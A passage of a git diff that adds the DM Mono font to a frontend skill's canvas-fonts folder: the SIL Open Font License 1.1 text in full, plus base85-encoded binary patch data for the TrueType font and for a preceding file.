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 UP~`mP%sU;q{`$z#sr7vOZ>oB+(f|Me literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/DMMono-OFL.txt b/skills/frontend-dev/canvas-fonts/DMMono-OFL.txt new file mode 100644 index 0000000..5b17f0c --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/DMMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/DMMono-Regular.ttf b/skills/frontend-dev/canvas-fonts/DMMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..7efe813da72c7b1c0294cae782e88f262ecb75be GIT binary patch literal 48852 zcmb?^34GhdmH*67(ocuwL$>8hJ|xSQFIhfh`95U%Onk<65<4WsitRXeLJksANCG4w z4QDA(3Y2noVGFDhN=w<arFYA+lu}CXl6Jejw(Yi*?$VYh|L>cTWZ6zwc0Yf@{C=bN zdo%Oqy_q*}-n`$>j5Ee8xM*2QUw2Qhc|*cx#*}G5_x6pBj9+bk{a1`R`x!Hx?HgYm zD825g4<i2*3Y;7nud2=Z;{6|Ej6VeY>6x9uJrfUI{c*;U>+t;EnXC8PtvBfgP#+$% z>CJoQcfR?pw|>c3<-5RndOo;s58x>%pNqR;e#bSNpZV_mjf}OS{_9J(%mrsN4OJWP zd<&k}ZvjBPj{O|JyYahd%g+6WPW<o~%BQ`|m^!gz_e}83e`OzKOmi1f<IdorJsM-m z)4(qRzI|74=iJ77kD{|G@HIc(vwPqElJ9)tuZ-o`88a5|**mxA<;T`IK=13o{~Y6t zU%beYacBH~Hpo;q20kgw#Wt{efbm%J(@cYZc&<4gehK9!84Fh{_YoxiKYqJ_5Ona$ zUv5lp{R>Oh{F*R+c-!Q(xS#uQ5M|#|?$dl7zg5XH<h05pzk}&e_i3t~4ahsclGXBZ zKofLEt-`fjgJ*iA*neHU$og4g@k^36&3RsLXY9j-!2hV6!_5xb|EK@5nE1#4NTq<h z2LDFcD3w=UCCJ4h<r^2@M*iK4Z(odHvn=JyoRS6oR#;M`kzwRbfTST=@sG1ib~CQG zLS~%Z&mO|{5%!O`KE+<e^);?A&X4dLn1&zcw+c?vP@>UdMqP?{#_;SkIE0q?&HNTT z8+e|5V{Gya=eJFT_-75wz-IQGVfw(QSaF7il~eXJ<=PxWs#ar?zdTBznxTkarocJV zi|UKo7tve-o+bv)fsOQ!et(u&)_takpIS8;@}HWd-?QCkO6m9W1||Wld&+jEgg`GC zjxnzFpPHEvn0P?{ea5Zis_BX*sr-3<@kB^_>luZ0KdYNnSvL)A{8t7pZ()boE$l%S zVqapfu=DIK?&E#@Bm6vnOVKJRN};kwxlegY`IPc=<!z0s$<mZ-S~bI(Y0VDJA<b#c zvs#z7QQNIuqrG1HkJ@wESG4D~Z|StU3|*<NPS>kDsC!Ho(!HWPuX{@uR(<NMdbj#H z^;_!C)ZeQY^_}{0{ha=w{)77a^-t@+U}!X~G`wy!8~coR8{aVg+W0q<YT9f%WIAoS z$MlHlLP9}8O+s73iiB$uZcBJ5;cUWJ65dGob;94wsyWMCZXPmUXTIJ1u=!c@SIvJ; z%t>@7wkM7zZc5yr_;BL0iC<0pUeb8d#-!~@2a|40x;^Rsq<=_yHt7q=qsi-&znqes zVoNDW@uqa7e8Q4y$+z5R`IF^Bsxj4?>PW3jZA$G)U6r~ab!+O2X*}(lY2QuzS=#T@ zi_>?c-;@4G`ZMV-q<<~_we+8+|1SL<tKYiAddT{y^*QU;t>3Y}nURxmIOB^M|C;fG zjDOGgQ)Xjkcjjp3`phkv`!kPa-jZd?%E-Di>%X)6vY*bW%4x~z%NfskD(Cr}ujIU% z^JCkT?JnD6wvg>yu9};go1a^rTb~=q9nM{syE%7n?vdPwbHAPYlic6r{w0s+RphP7 z+myE}?{MD9ygT#0koPZn-^=^A{E7VO{2lp+@{i}=k^eyc6ZxOYf3e_H!Cm$oyUSi{ zZ@2Grm>laJ#~nW^)E4#?h6;b-+~EAG^S4D;6n(xpwRm&!^Tj`R6}oP8ecJU}$(EA0 z%ks-Q%hr|cC_7U2Qdzj%TYhu-ugd?s!c(!e;#|cW6@PN)xvSh8-M72{R5@08yz*0( zuU3A)@@-GD$Kz@Dtn{q$Z1P;^x!3cUC*=9I=PggTDyyors;<gkHCXk5swX1<!qxk# z&({pq+*$L3+NRoLwWn&&*1l5vTd&sJ?)`}O^WI<9+3H5?ZmRoO-FctlEA!pud#OIZ zeyILX{U__c-%!?YqLDQ|*7$1ErlwytXE#6AQrU8*<*%)Q*7dC?TAyjtwY9e0+xAe~ z6K$ck=i6Rv`(fM9+kV^jR@>j&m3C8mdHc%tvG#TC+uA?Yey06mM_R{N$F&`|c6_?y z4S$+{jUPInB|?8dA8U=sKcn0h$#a&Z9E;?kjg-BSyoPy{?nqwC@)cJkuVZWYtC76Q za`~qsc>}ZayCQjGTt0#M`9uV6j>{)<JFAPplaOPW)BEvn4{K&s__vSEu)S<6e(y)# zgS3_Hz<oEM^LReOda>$Epww18v*XupwhOp+Hjdn8<PNeRaOVJ#7&~yE!S7wbpJTIt zA3%N<`Mt>RM@@t~&Q_paJL=yfaN}zpTvUS_SZhRSqK#U&vl>uH$sR}9;&!9d1liS~ zkNOm3n{cJJ58^k`VF!%b?PRM&em{6(|3C33%F}%jt{y}i2SMKq=-q*|2elIAmEhR! z2tW3+YhrxvT7oCJA^Apl-E0W|sD|CBV+_5RM=jK+y_e)oHKTtm=nctwGw=@Jz8h3* zMI9u)Qt*X1*oah%<YQjcTrcEQ3*ApG+GB0nm$XSGqiuA7gDvk#;bM9h*GxU%gC5ct zoEN;egPv-Uq;yGQi_6%t`tL=#ZQ#R<=uM~SAMtpv7^S5#DK3@Bd_?vKFdC$Mc4Cyz zqvUQ}X?&1`h)4SXpJhA2m7M~z8(e__f@ES(@Cl}L_YO|5BRhiocfq>Y&oo_~6X4U( z$RK9i*vOEbWxz7I2rGd~DX<PySVsnCMEL|j6Bj+zzUNcTvZq?qO0_3MYF}D+QZTq< zKYMIuX6GLE;O4!-8Fnvh(;e(ialJ)cPww73yNey$N0^8A?W?X~`*E#hyKwcgEx6XP zO}P5l`h5rX?88W-o|wcnO<YsO)grF2f$=n1T*=zvk)FeDL|zqFvJQESW|(i{ce-+i zvQ5cVl9VL=HvWb9J^Wfe%S&N#d>;14E#U5Y*3QaNmdYDMee<}I#TJDrXivjaxP_+z zrr}0z=E82qFIi#}+T-j2hTTD|6j64KfM3Io$H5gy&%n!h1@GeByodL~?&+tRcrMT9 z4ZM*z@n+t_TVpkmjR_l=>|m}1lu{?^enIqIVMX8^+39sil5ezD(8%Zn4n4_P_Jm8? zxQd>@4v+QTjZzt?53TSV^tF_m07+sh&l0~3JUap<i&W2zz+B)Q*{vK<lH@|2D}h6N z(y}I$DT;eC8hdh9JRw;|`$M^O%p{I0wLvX$XcMyP74(Rp)GzF<=n3kj=g$a8R4xS3 zVsu@>zQtaTdoql?Y|ABhM?GkdwMVp5?`{!RIXx>xBH1&vzT7hB>|sHbY?b(xC9oBC z4fvyA<X8cF3%i&ouM{@Sii9-RV*LG?z0Ll@{)_!Ldx!m%{f+&dy~{3OcMxV5sbi4& 